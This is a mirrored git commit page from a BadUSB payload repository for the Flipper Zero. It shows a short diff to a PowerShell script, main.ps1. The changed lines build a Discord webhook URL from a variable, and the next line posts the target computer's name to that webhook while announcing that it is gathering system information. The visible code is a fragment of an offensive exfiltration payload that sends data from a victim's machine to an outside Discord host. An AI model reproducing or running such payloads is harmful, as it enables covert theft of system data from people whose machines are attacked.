mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-27 13:13:52 -08:00
Update main.ps1
This commit is contained in:
@@ -26,7 +26,10 @@ else{
|
||||
sleep 1
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Length -lt 120){
|
||||
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
|
||||
}
|
||||
|
||||
# Send a notification to discord on start
|
||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":computer: ``Gathering System Information for $env:COMPUTERNAME`` :computer:"} | ConvertTo-Json
|
||||
|
||||
Reference in New Issue
Block a user